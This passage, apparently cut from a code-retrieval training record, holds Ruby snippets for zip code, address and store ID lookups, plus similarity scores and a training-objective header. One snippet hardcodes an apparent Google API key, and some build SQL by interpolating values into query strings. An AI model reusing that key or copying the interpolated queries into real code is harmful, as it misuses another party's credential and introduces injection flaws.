).pluck(:id)\n\n return allCartItemIdArray.map {|element| element.to_i} - stillAvailableItemId\n end\n end\n end", "def legislators_by_zipcode(zipcode)\n Sunlight::Congress::Legislator.by_zipcode(zipcode)\nend", "def address_book_id\n hash[\"AddressBookId\"]\n end", "def location_type_id\n addr_type = ALF::AddressType.where('address_type_id', self.address_type).first\n return if addr_type.nil?\n\n location_type = CIVICRM::LocationType.where(name: addr_type.name).take\n return if location_type.nil?\n\n location_type.id\n end", "def find_batchid\n if @version == 'BANK_OF_AMERICA'\n if @new_batch_flag == 1\n InputBatch.get_batchid\n else\n batch = Batch.find(:last,:conditions=>\"client_id = #{client.id} and file_name = '#{@zip_file_name}'\")\n if !batch.blank?\n batch.batchid\n else\n InputBatch.get_batchid\n end\n end\n else\n get_batchid_general\n end\n end", "def get_zip\n\tprint \"What is you location? (zip code): \"\n\tzipcode = gets.chomp\nend", "def store_zip_code_search_field\n $tracer.trace(__method__)\n return ToolTag.new(input.className(\"ats-storesearch\"), __method__)\n end", "def validate_zipcode(province_id, zipcode)\n zipcode = zipcode.to_i\n url = \"/provincia/#{province_id}/validar-codigo-postal\"\n query = \"codigo_postal=#{zipcode}\"\n get_response(url, query)\n end", "def enter_zip_and_search(code)\n fill_in 'tZip', :with => code\n click_button 'Find'\n \n # checks if it found a valid zip code.\n # 2 conditions to fail a search.\n # 1. if zip is in a valid format and no city is found.\n # 2. if zip is not in a valid format.\n # pages contains those strings.\n strs = ['Sorry', 'You did not enter a valid ZIP Code']\n if ScrapeUtil.has_content_or?(page, strs)\n false\n else\n # found a valid zip.\n # the first p tag contains the city.\n result = first(:xpath, '//div[@id=\"result-cities\"]/p')\n #result.text\n hash_result = self.city_state_as_hash(code, result.text)\n \n # save to db.\n self.save_to_db(hash_result)\n \n hash_result\n end\n end", "def store\n _store_id = store_id\n ::Spree::User.logger.debug \"| ByParameters: store_id #{_store_id}\"\n store = _store_id ? ::Spree::Store.where(id: _store_id).first : nil\n store || Spree::Store.new\n end", "def store_key; @store.to_sym; end", "def getGoogleID(location, dbl)\n return dbl.getgID(\"../Booru/#{location}\")\nrescue NoMethodError\nend", "def legislators_by_zipcode(zipcode)\n Sunlight::Congress::Legislator.by_zipcode(zipcode)\nend", "def zip_code_grabber\n\n puts ''\n puts \"Please enter your 5-digit zip code:\"\n puts ''\n\n @zip_code = nil\n\n # checks for zip code validation utilzing is_zip_code? method\n while !self.is_zip_code?(self.zip_code)\n\n self.zip_code = gets.chomp\n\n if !self.is_zip_code?(self.zip_code)\n puts \"\"\n puts \"I'm sorry. That entry was invalid. Please enter a valid 5 digit zip code.\"\n puts \"\"\n end\n end\n\n #return zip_code\n self.zip_code.to_i\n end", "def get_stock_exchange_id()\n anchor_set = @stock_page.parser().xpath(\"//div[@id='exchangesLayer']/ul/li/a[contains(.,'#{@stock_exchange}')]\")\n raise RuntimeError, \"Could not extract onVista stock exchange ID for #{@stock_exchange}\", caller if anchor_set.nil? || anchor_set.size < 1\n stock_exchange_id = anchor_set[0].attr('href').sub(/.*=/, '')\n Rails.logger.debug(\"#{self.class}: ID of stock exchange #{@stock_exchange}: #{stock_exchange_id}\")\n return stock_exchange_id\n end", "def location_of_bay(bay)\n location = WAREHOUSE.select{ |item| item[:product_name] == bay }\n return location[0][:rack_bay_position]\nend", "def set_storeinfo\n @storeinfo = Storeinfo.find(params[:id])\n end", "def retrieve_store(sellerId=nil)\n if sellerId.class == String && block_given?\n return @j_del.java_method(:retrieveStore, [Java::java.lang.String.java_class,Java::IoVertxCore::Handler.java_class]).call(sellerId,(Proc.new { |ar| yield(ar.failed ? ar.cause : nil, ar.succeeded ? ar.result != nil ? JSON.parse(ar.result.toJson.encode) : nil : nil) }))\n end\n raise ArgumentError, \"Invalid arguments when calling retrieve_store(sellerId)\"\n end", "def pass_to_se(id)\n se.find_merchant_by_item_id(id)\n end", "def get_address_id(customer_id)\n return unless customer_id\n\n cust_address = Cim::Dal::CustomerAddress.find_by(customer_id: customer_id)\n return unless cust_address\n\n cust_address.address_id\n end", "def search_by_zip\n puts \"\n Please give me a zip code\n \"\n user_input = gets.chomp.slice(0,5)\n #slice chomps up the input of zipcode to the frist 5 characters\n brewery_array = Brewery.where(zip: user_input)\n \n #check to see if there's anything returning from the database \n if brewery_array.length > 0 \n brewery_array.each do |brewery|\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n puts brewery.name\n puts brewery_array.state\n puts brewery_array.street\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n puts \"Would you like to add to your favorite? y/n\"\n user_anwer = gets.chomp\n if user_anwer ==\"y\"\n create_favorites(brewery.id)\n puts \"Saved!\" \n elsif user_anwer == \"n\"\n puts \"No worries.\" \n end\n end\n else\n response_hash = ApiCommunicator.get_breweries\n count = 0\n\n response_hash.each do |brewery|\n # binding.pry\n if user_input == brewery[\"postal_code\"].slice(0,5)\n # binding.pry\n count +=1\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n puts brewery[\"name\"]\n puts brewery[\"state\"]\n puts brewery[\"street\"]\n puts brewery[\"phone\"]\n puts \"*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*:*.*\"\n puts \"Would you like to add to your favorite? y/n\"\n user_anwer = gets.chomp\n if user_anwer ==\"y\"\n #create a record into the breweries database\n brewery_obj = Brewery.create(name: brewery[\"name\"], street:brewery[\"street\"],city:brewery[\"city\"],state:brewery[\"state\"],zip:brewery[\"postal_code\"],country:brewery[\"country\"],phone:brewery[\"phone\"],website_url:brewery[\"website_url\"])\n # binding.pry\n\n # create_favorites(brewery.id)\n #get brewery.id to create favorite \n create_favorites(brewery_obj.id)\n puts \"Saved!\" \n\n elsif user_anwer == \"n\"\n puts \"No worries.\" \n end \n else\n \n end\n \n end \n if count == 0\n puts \"Nothing Found\"\n end\n end #end of a if statement to check database records\n end", "def fix_up_zip_code(zip)\n return nil unless zip.present?\n return nil if (zip =~ /\\A(\\d{5})/).nil?\n $1\n end", "def zip_code(restrictions={state: [], zip_code: []})\n zip_code = nil\n state = restrictions[:state].is_a?(Array) and !restrictions[:state].blank? ? restrictions[:state] : []\n zip_codes = restrictions[:zip_code].is_a?(Array) and !restrictions[:zip_code].blank? ? restrictions[:zip_code] : []\n\n unless @config[:location_db][:adapter].eql?(:none)\n zip_code = find_location(state, zip_codes)[\"#{@config[:location_db][:column_mapping][:zip_code]}\"]\n end\n\n zip_code = Faker::Address.zip_code if zip_code.blank?\n\n zip_code\n end", "def get_supplier\n supplier = Supplier.where(:code => self.accountcode).first\n self.supplier_id = supplier.id if supplier\n end", "def legislators_by_zipcode(zipcode)\n\tSunlight::Congress::Legislator.by_zipcode(zipcode)\nend", "def legislators_by_zipcode(zipcode)\n\tSunlight::Congress::Legislator.by_zipcode(zipcode)\nend", "def set_zip_code_area_code\n @zip_code_area_code = ZipCodeAreaCode.find(params[:id])\n end", "def google_id(address)\n @client = GooglePlaces::Client.new(ENV['GOOGLE_API_SERVER_KEY'])\n place_info = @client.spots_by_query(address)[0]\n place_info.nil? ? \"not find\" : place_info.place_id\nend", "def get_location_sys_id(location)\n query_data = URI::encode(location)\n url = \"#{@service_now_url}/table/cmn_location?sysparm_query=city%3D#{query_data}\"\n sys_id = get_record_sys_id(url)\n sys_id\n end", "def current_store_id\n Thread.current[REQUEST_STORE_ID]\n end", "def lookup_state_id(state)\n state_id = @db.get_first_value(\"SELECT id FROM states WHERE name = ?\", state)\n end", "def main_bank_id\n bank_accounts.any? ? bank_accounts.order('id').first.id : nil\n end", "def find_max_layer_id_by_network_id (network_id)\r\n self.find_by_sql(\"SELECT MAX(layer_id) FROM aln_terminations WHERE network_id=#{network_id}\").first.attributes[\"MAX(layer_id)\"].to_i\r\n end", "def get_site(state_params)\n Site.find(state_params[\"site_id\"])\n end", "def find_region_id(description)\n find(:first, :conditions => {_(:desc) => description}).id\n end", "def get_area_code(somehash, key)\n=begin\n somehash.each do |each_dial|\n if each_dial[0] == key\n each_dial[1]\n end\n end\n=end\n somehash[key]\nend", "def legislators_by_zipcode(zip)\n civic_info = Google::Apis::CivicinfoV2::CivicInfoService.new\n civic_info.key = 'AIzaSyClRzDqDh5MsXwnCWi0kOiiBivP6JsSyBw'\n\n begin\n civic_info.representative_info_by_address(\n address: zip,\n levels: 'country',\n roles: %w[legislatorUpperBody legislatorLowerBody]\n ).officials\n rescue StandardError\n 'You can find your representatives by visiting www.commoncause.org/take-action/find-elected-officials'\n end\nend" ]
[ "0.63949776", "0.6310586", "0.6254937", "0.59753096", "0.59648424", "0.58376473", "0.5700187", "0.55684125", "0.5559361", "0.55249655", "0.5516873", "0.5516873", "0.5491974", "0.5439712", "0.5428212", "0.5426226", "0.5407457", "0.5399532", "0.5391572", "0.53318137", "0.5317917", "0.53157514", "0.5279529", "0.52705145", "0.5266736", "0.5242121", "0.52411175", "0.52377695", "0.52253467", "0.5219883", "0.5219086", "0.51928264", "0.5187199", "0.518564", "0.5178098", "0.51671845", "0.51637673", "0.5161844", "0.51585627", "0.51568824", "0.51206243", "0.5114207", "0.5109414", "0.51081246", "0.5083163", "0.5079652", "0.5078195", "0.5073233", "0.5073233", "0.5073233", "0.5073233", "0.5065399", "0.5058811", "0.5054784", "0.50427115", "0.5035755", "0.50304776", "0.5024756", "0.50178933", "0.5012447", "0.5012447", "0.50024056", "0.4990011", "0.49874848", "0.49860406", "0.4975105", "0.49596122", "0.4959027", "0.49534914", "0.49515843", "0.49490526", "0.4947999", "0.49457097", "0.49399135", "0.4938259", "0.49364352", "0.49221173", "0.49213633", "0.49211544", "0.491283", "0.49114752", "0.4911149", "0.49060595", "0.48921794", "0.48910376", "0.48886988", "0.48867923", "0.48864132", "0.4880114", "0.4880114", "0.48773494", "0.4863784", "0.48622996", "0.4862112", "0.4861062", "0.48584786", "0.48537514", "0.48502648", "0.48457816", "0.48455963", "0.48411572" ]
0.0
-1
Perform Author: Aman Date: 03/05/2018 Reviewed By:
def perform r = validate return r unless r.success? r = fetch_and_validate_client return r unless r.success? r = fetch_and_validate_admin return r unless r.success? fetch_admins set_api_response_data success_with_data(@api_response_data) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def performed_by(params = {})\n #TODO\n end", "def submission_decision_author(submission)\n @submission = submission\n\n @authors_text = @submission.get_authors_submitted.map{ |a| a.full_name }.join(', ')\n @title_text = @submission.get_text_submitted.title rescue ''\n\n @journal = @submission.journal\n @user = @submission.user\n @submission_url = submission_url(submission)\n @submission_editor_url = e_submission_url(submission)\n @submission_reviewer_url = r_submission_url(submission)\n\n @decision = @submission.lsr.decision_2 || @submission.lsr.decision_1_cold || @submission.lsr.decision_1\n\n if @decision\n case @decision.decision\n when 'take_for_consideration'\n# subject = \"#{@journal.slug}##{submission.id} The paper was taken for consideration | Статья принята к рассмотрению\"\n subject = \"##{@submission.id} Taken for consideration. Journal Gyroscopy and Navigation | Принято к рассмотрению. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_take_for_consideration' }\n\t\t end\n when 'reject_without_consideration'\n# subject = \"#{@journal.slug}##{submission.id} The paper was rejected without consideration | Статья отклонена без рассмотрения\"\n subject = \"##{@submission.id} Rejected without consideration. Journal Gyroscopy and Navigation | Отклонено без рассмотрения. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_reject_without_consideration' }\n\t\t end\n when 'reject'\n# subject = \"#{@journal.slug}##{submission.id} The paper was rejected | Статья отклонена\"\n subject = \"##{@submission.id} Paper rejected. Journal Gyroscopy and Navigation | Статья отклонена. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_reject' }\n\t\t end\n when 'revise'\n# subject = \"#{@journal.slug}##{submission.id} The paper must be revised | Статью надо доработать\"\n subject = \"##{@submission.id} Paper must be revised. Journal Gyroscopy and Navigation | Статью надо доработать. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_revise' }\n\t\t end\n when 'accept'\n# subject = \"#{@journal.slug}##{submission.id} The paper was accepted | Статья принята\"\n subject = \"##{@submission.id} Paper accepted. Journal Gyroscopy and Navigation | Статья принята. Журнал \\\"Гироскопия и навигация\\\"\"\n \t\tmail(to: @user.email, subject: subject) do |format|\n format.text { render 'submission_decision_author_accept' }\n\t\t end\n when 'wait_decision'\n # Add email for transition to this this state???\n nil\n end\n end\n end", "def author; @author; end", "def author; @author; end", "def paper\n reviewer_recommendations_task.paper\n end", "def author; end", "def resolved_author; end", "def reviewed_by=(value)\n @reviewed_by = value\n end", "def reviewed_by\n return @reviewed_by\n end", "def review_committee_decision\n application_review_decision_type.title if application_review_decision_type\n end", "def assessment_type_author\n frm.div(:class=>\"tier2\").table(:index=>$frame_index)[1][1].text\n end", "def review; end", "def users_role_with_this_submission(user)\n if self.corresponding_author == user\n return 'Corresponding Author'\n elsif self.coauthors.include?(user)\n return 'Coauthor'\n elsif self.reviewers.include?(user)\n return 'Reviewer'\n elsif section_editors.include?(user)\n return 'Section Editor'\n else\n return 'This user is not associated with this manuscript'\n end \n end", "def author\n @info[:Author]\n end", "def review(*)\n super.tap do\n __debug_sim('REVIEWER initiates review of the submission.')\n end\n end", "def author\n [author_developer.name_and_email, author_date, author_date_gmt_offset]\n end", "def review\n end", "def author\n\t\t@author\n\tend", "def author\n if @submission.user != current_user.sk\n render 'errors/access_refused' and return\n end\n end", "def author\n @author\n end", "def process_created_review(review_payload)\n pr_name = review_payload['repository']['full_name'].to_s\n pr_number = review_payload['pull_request']['number'].to_s\n comment_user = review_payload['review']['user']['id'].to_s\n approvals = evaluate_review_state(review_payload['review']['state'])\n current_commit_hash = review_payload['pull_request']['head']['sha'].to_s\n\n submit_status(pr_name, pr_number, current_commit_hash, comment_user, approvals)\n end", "def reviewer_report_task_phase\n get_reviews_phase = paper.phases.where(name: 'Get Reviews').first\n get_reviews_phase || phase\n end", "def generate_department_review_title \n review_type = self.scorable_type\n case review_type\n when \"GovernmentScore\"\n self.title = \"#{self.user.name}'s Government Review\"\n when \"ParkScore\"\n self.title = \"#{self.user.name}'s Parks Review\"\n when \"SchoolScore\"\n self.title = \"#{self.user.name}'s Schools Review\"\n when \"PoliceScore\"\n self.title = \"#{self.user.name}'s Police Review\"\n when \"PublicScore\"\n self.title = \"#{self.user.name}'s Public Works Review\"\n end\n end", "def release_summary title = nil\n datestamp_title = title ? Time.now.strftime(\"(%-m/%d) #{title}:\") : Time.now.strftime(\"%-m/%d:\")\n\n if done_cards.empty?\n datestamp_title + \" Nada. 😢\"\n else\n ([datestamp_title] + done_cards.map { |card| '- ' + card['note'] }).join \"\\n\"\n end\nend", "def author\n quote_of_the_day[second_to_last_index(quote_of_the_day, \"~\")..quote_of_the_day.rindex(\"~\")].gsub(/(\\A~\\s*|\\s*~\\z)/, \"\")\n end", "def review\n @review\n end", "def author\n file.version.author.name\n end", "def pre_submission_date_status\n 'New Announcement'\n end", "def essay_writer(title, name, major_accomplishment, year_of_accomplishment, thesis, pronoun)\n\tputs \"Final Assignment Essay:\\n #{title}\n\t\\n\n\t#{date_of_accomplishment} was the year of #{name}. #{major_accomplishment.capitalize},\n\tdoes that ring a bell? That was all thanks to #{name}. \\n \n\t#{thesis} \\n\n\tMuch more could be said of #{name}. #{pronoun.capitalize} is somebody worth remembering. \n\t\"\n\t\nend", "def reference_document\n if document.blank?\n \"None Assigned\"\n else\n document.refno+\" : \"+document.title+\" : dated \"+document.letterdt.strftime(\"%d-%b-%Y\").to_s\n end\n end", "def author\n page.version.author.name\n end", "def reviewed_date_time\n return @reviewed_date_time\n end", "def prt\n puts \"Federalist #@fedno\"\n puts \"Title: \" + @title.join(\" \")\n puts \"Publication: \" + @publication.join(\" \")\n puts \"Author: \" + @author.join(\" \")\n \n end", "def review(review)\n @review = review\n @abstract = review.abstract_doc\n User.with_role(:admin).each do |user|\n mail(to: user.email, subject: 'All reviews submitted for abstract titled '+@abstract.title)\n end\n end", "def educational_attainment; end", "def get_author_transaction\n if outflow then\n \"Outflow: #{outflow.concept}\"\n else\n movement ? \"Movimiento: #{movement.concept}\" : 'N/A'\n end\n end", "def created_by\r\n\t\t\t \t\"Lachezar Kostov and Dimitar Bakardzhiev\"\r\n\t\t end", "def creator\n \"Made by ROUINEB Hamza. 2016\"\n end", "def author\n @author ||= Readability::Document.new(@html).author\n end", "def reviewers\n \"Here's the current list of JOSS reviewers: https://github.com/openjournals/joss/blob/master/docs/reviewers.csv\"\nend", "def print_created_by\n puts 'Created by James (#1) Bronzan'\n end", "def show\n @performer = current_user.performer\n end", "def essay_writer(title, name, major_accomplishment, year_of_accomplishment, thesis, pronoun)\n\tputs \"Final Assignment Essay:\\n #{title}\n\t\\n\n\t#{year_of_accomplishment} was the year of #{name}. #{major_accomplishment},\n\tdoes that ring a bell? That was all thanks to #{name}. #{thesis} \n\t\\n\n\tMuch more could be said of #{name}, but I believe in brevity. #{pronoun.capitalize} is somebody worth remembering. \n\t\"\n\t\nend", "def performers\n find_related_frbr_objects( :is_performed_by, :which_roles?) \n end", "def performers\n find_related_frbr_objects( :is_performed_by, :which_roles?) \n end", "def interview_committee_decision\n application_interview_decision_type.title if application_interview_decision_type\n end", "def review_complete(params)\n # validate these parameters. If this passes, we can safely import.\n params = validate_review_completed_parameters(params)\n self.analyst_id = params[\"analyst_id\"]\n self.analyst_fullname = params[\"analyst_fullname\"]\n self.analyst_approval_datetime = params[\"analyst_approval_datetime\"]\n self.analyst_transaction_id = params[\"analyst_transaction_id\"]\n self.analyst_internal_status_id = params[\"analyst_internal_status_id\"]\n self.decision_code = params[\"decision_code\"]\n self\n end", "def created_by\r\n\t\t\treturn \"Laura OMalley\"\r\n\t\tend", "def author\n recipe.author\n end", "def author\n recipe.author\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def author() headers['author'] end", "def inner_author\n @commit.author\n end", "def read_review\n index = 0\n puts \"Here are the reviews and ratings for: #{@title}\"\n @ratings.each {|rating_num|\n puts \"Rating: #{rating_num}\"\n puts \"Review: #{@reviews[index]}\"\n index += 1\n }\n end", "def title_of_active_review\n conflicting_request_issue.try(:review_title)\n end", "def user_name\n reviewee.name\n end", "def name_of_person_of_ticket\n self.viewer.name\n \n end", "def initialize(title, author,year=\"unknown\", edition=\"unknown\")\n @title = title\n @author = author\n @checked_out = false\n @current_patron = nil\n @year_published = year\n @edition = edition\n @reviews = {}\n end", "def generate_reviewer_selection_list()\n self.design_review_results.sort_by { |rr| rr.role.display_name }\n end", "def purpose\n end", "def title\n if review?\n confidential? ? \"#{name} (Private Review)\" : \"#{name} (Shared Review)\"\n elsif verification?\n \"#{name} (Verification)\"\n elsif groups?\n \"#{name} (Group)\"\n elsif private_type?\n \"#{name} (Private)\"\n elsif government?\n \"#{name} (Government)\"\n else\n \"#{name} (Administrator)\"\n end\n end", "def acquired_on\n @object.most_recent_acquired_by_date.try(:strftime, '%-m/%-d/%Y')\n end", "def show\n\n @all_annotation_string = ''\n Annotation.where(passage_id: @passage.id).each do |annot|\n @all_annotation_string = @all_annotation_string + \"#{annot.element}@-@#{annot.original_spanish}@-@#{annot.annotation_content}$-$\"\n end\n @all_annotation_string = @all_annotation_string.gsub(/\\R+/, ' ')\n\n\n #==================================================================\n #DO NOT ALLOW TO READ IF NOT GRANTED PRIVILEGE\n #DO NOT LINK TO EDIT IF NOT GRANTED PRIVILEGE\n privilege = PassageShare.find_by(recieving_user_id: @current_user.id, passage_id: @passage.id)\n\n\n if (@passage.user_id == @current_user.id)\n author = true\n else\n author = false\n end\n\n if author || privilege\n else \n redirect_back fallback_location: '/'\n end\n\n if author || privilege.edit_privilege\n @has_editing_privilege = true\n else \n @has_editing_privilege = false\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE AUTHOR OF CURRENT PASSAGE\n if author\n @author = @current_user\n else\n @author = User.find(@passage.user_id)\n end\n #==================================================================\n\n #==================================================================\n #RETRIEVE HISTORY OF UPDATES FOR CURRENT PASSAGE AND USERS THAT MADE THEM\n @update_history = UpdateTrack.where(passage_id: @passage.id).order(\"created_at DESC\")\n @participating_users = {}\n @time_since = {}\n @update_history.each do |update|\n @time_since[update.id] = update_elapse_count(update[:created_at])\n @participating_users[update.id] = User.find(update.last_user_id)\n end \n #==================================================================\n end", "def create_weblog_explain; \"Create a brand new weblog.\"; end", "def add_review\n login_as(User.where(role_id: 1).first.name)\n expect(page).to have_content 'User: ' + User.where(role_id: 1).first.name\n\n expect(page).to have_content 'TestAssignment'\n\n click_link 'TestAssignment'\n expect(page).to have_content 'Submit or Review work for TestAssignment'\n expect(page).to have_content \"Others' work\"\n\n click_link \"Others' work\"\n expect(page).to have_content 'Reviews for \"TestAssignment\"'\n\n choose 'topic_id'\n click_button 'Request a new submission to review'\n\n click_link 'Begin'\n\n fill_in 'responses[0][comment]', with: 'HelloWorld'\n select 3, from: 'responses[0][score]'\n click_button 'Submit Review'\n expect(page).to have_content 'Your response was successfully saved.'\n click_link 'Logout'\n end", "def under_review_status\n 'Under Review'\n end", "def reviews_reviewsstory_label\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"/gi-post/\").h1.className(\"/game-name/\"), __method__)\n end", "def display_goal\n puts \"\\nYOUR CURRENT GOAL IS: #{self.description}\".light_white\n if self.target_date\n puts \"\\nTARGET DATE TO REACH YOUR GOAL: #{self.target_date.strftime('%-d %B %Y')}\".light_white\n end\n if self.attainable\n puts \"\\nWHY I CAN ACHIEVE THIS GOAL: #{self.attainable}\".light_white\n end\n if self.relevant\n puts \"\\nWHY THIS GOAL MATTERS: #{self.relevant}\".light_white\n end\n end", "def bookAuthor\n\t\tarr =[]\n\t\tcurrent_user.reads.each do |f|\n\t\t\tbook = Book.find_by_id(f.book_id)\n\t\t\tauthor = book.authorFirst + \" \" + book.authorLast\n\t\t\tarr.push(author)\n\t\tend\n\t\t@h = Hash.new(0)\n\t\t\tarr.each do |word|\n\t\t\t@h[word.to_sym] += 1\n\t\tend\n\t\tgenre = @h.sort_by{|word,count| count}\n\t\tgenre = genre.reverse # Hash highest the genre picked the most\n\n\t\tarr2 =[]\n\t\tgenre.each do |key,value|\n\t\t\tarr2.push(key)\n\t\tend\n\t\tif(arr2.size > 1)\n\t\t\t@popAuthor = arr2.at(0)\n\t\telse\n\t\t\t@popAuthor = \"Adventure\"\n\t\tend\n\tend", "def description_complexity(pr)\n pull_req = pull_req_entry(pr[:id])\n (pull_req['title'] + ' ' + pull_req['body']).gsub(/[\\n\\r]\\s+/, ' ').split(/\\s+/).size\n end", "def vacate_at_attorney_review(mtv_judge, drafting_attorney, lit_support_user)\n # These are ready to be reviewed by the decision drafting attorney on the vacate stream\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"denied\")\n judge_addresses_mtv(jam_task, \"denied\", nil, lit_support_user)\n end\n\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"dismissed\")\n judge_addresses_mtv(jam_task, \"dismissed\", nil, lit_support_user)\n end\n\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"granted\")\n judge_addresses_mtv(jam_task, \"granted\", \"straight_vacate\", drafting_attorney)\n end\n\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"granted\")\n judge_addresses_mtv(jam_task, \"granted\", \"vacate_and_readjudication\", drafting_attorney)\n end\n\n 3.times do\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\n mtv_task.update!(status: \"on_hold\")\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \"granted\")\n judge_addresses_mtv(jam_task, \"granted\", \"vacate_and_de_novo\", drafting_attorney)\n end\n end", "def review_results_by_role_name\n self.design_review_results.sort_by { |rr| rr.role.display_name }\n end", "def manual_review_needed_template\n 'manual_review_needed'\n end", "def show\n\n @creator = \"unknown\"\n @modifier = \"unknown\"\n \n @collection = Collection.find(@mlog_entry.collection_id)\n @accession = Accession.find(@mlog_entry.accession_id)\n\n if @mlog_entry.created_by != nil then @creator = User.find(@mlog_entry.created_by).email end\n if @mlog_entry.modified_by != nil then @modifier = User.find(@mlog_entry.modified_by).email end\n end", "def workflow_comment_attribution(comment)\n commenter = comment.agent.proxy_for\n commenter_display = current_user == commenter ? 'You' : \"#{commenter.display_name} (#{commenter.email})\"\n \"#{commenter_display} commented on #{comment.created_at.strftime('%B %-d, %Y')}\"\n end", "def get_author()\n @author\n end", "def print_created_by\n return \"This game was created by Kevin Tripp.\"\n end", "def seller\n author\n end", "def attorney_case_reviews\n tasks.map(&:attorney_case_reviews).flatten\n end", "def performer_yes?\n\t \t\tperformer == \"yes\"\n\t\tend", "def\n get_author()\n @author\n end", "def details\n\t\t\"#{self.title} - #{self.due_date} - #{self.is_completed}\"\n\tend", "def approved_by\n if approved?\n I18n::t(:dean, :scope => [:model, :plan])\n elsif approval\n approval.approved_by\n end\n end", "def process_git_log_into_author_summary\n distribute_entries_to_authors( load_git_log_entries( path_to_git_repo ) )\n return prepare_rows_for_author_summary_csv\n end", "def assign_reviewer(new_reviewer)\n new_reviewer = new_reviewer.gsub(/^\\@/, \"\")\n editor = issue.body.match(/\\*\\*Editor:\\*\\*\\s*.@(\\S*)/)[1]\n new_body = issue.body.gsub(/\\*\\*Reviewer:\\*\\*\\s*(@\\S*|Pending)/i, \"**Reviewer:** @#{new_reviewer}\")\n github_client.add_collaborator(@nwo, new_reviewer)\n puts \"NWO: #{@nwo}\"\n puts \"ISSUE ID: #{@issue_id}\"\n puts \"TITLE: #{issue.title}\"\n puts \"BODY: #{new_body}\"\n puts \"ASSIGNEES #{[new_reviewer, editor]}\"\n github_client.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_reviewer, editor])\nend", "def weekly_digest(user)\n \n attachments.inline['whitelogo.png'] = File.read(Rails.root.join('app/assets/images/whitelogo.png'))\n \n @user = user\n @introduction = \"Type an introduction here somehow\"\n @first_item = \"Comment.find(target.comment)\"\n @second_item = \"Comment.find(target.comment)\"\n @third_item = \"Comment.find(target.comment)\"\n \n end", "def essay_writer(title, topic, date, thesis_statement, pronoun)\n if pronoun == \"male\"\n who = \"He\" \n whose = \"His\"\n whom = \"Him\"\n \n elsif pronoun == \"female\"\n who = \"She\"\n whose = \"Her\"\n whom = \"Her\"\n \n else\n who = \"It\"\n whose = \"Its\"\n whom = \"Its\"\n end\n \n return who + \" was an important person in \" + date.to_s + \". \" + who + \" did a lot. I want to learn more about him. \" + thesis_statement + \" \" + topic.to_s + \"'s contribution is important.\"\n \nend", "def by_author\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_author].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_author, user: user)\n show_selected_name_descriptions(query)\n end", "def time\n Time.parse(inner_author.date.to_s)\n end", "def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end", "def review\n return access_denied unless @course.has_teacher(current_user) || @submission.group.has_reviewer?(current_user) || (@exercise.collaborative_mode == 'review' && (@course_instance.has_student(current_user) || @course_instance.has_assistant(current_user)))\n\n review = @submission.assign_to(current_user)\n\n redirect_to edit_review_path(review)\n log \"create_review #{@submission.id},#{@exercise.id}\"\n end", "def author\n user\n end", "def author\n \"#{user.firstname} #{user.lastname}\"\n end", "def details\n @article = Article.find(params[:article_id])\n revisions = @course.tracked_revisions.where(article_id: @article.id).order(:date)\n @first_revision = revisions.first\n @last_revision = revisions.last\n editor_ids = revisions.pluck(:user_id).uniq\n @editors = User.where(id: editor_ids)\n end", "def eval_lecture_head\n b = \"\"\n b << \"\\\\kurskopf{#{title.escape_for_tex}}\"\n b << \"{#{profs.map { |p| p.fullname.escape_for_tex }.join(' / ')}}\"\n b << \"{#{returned_sheets}}\"\n b << \"{#{id}}\"\n b << \"{#{t(:by)}}\\n\\n\"\n unless note.nil? || note.strip.empty?\n b << RT.small_header(I18n.t(:note))\n b << note.strip\n b << \"\\n\\n\"\n end\n b\n end", "def track_performer_ids\n param_role_extractor(:track_contributors, :performers)\n end", "def initialize(title, author)\n @author = author\n @title = title\n @status = \"available\"\n @check_out_date\n @due_date\n @who_checked\n end", "def name_descriptions_by_author # 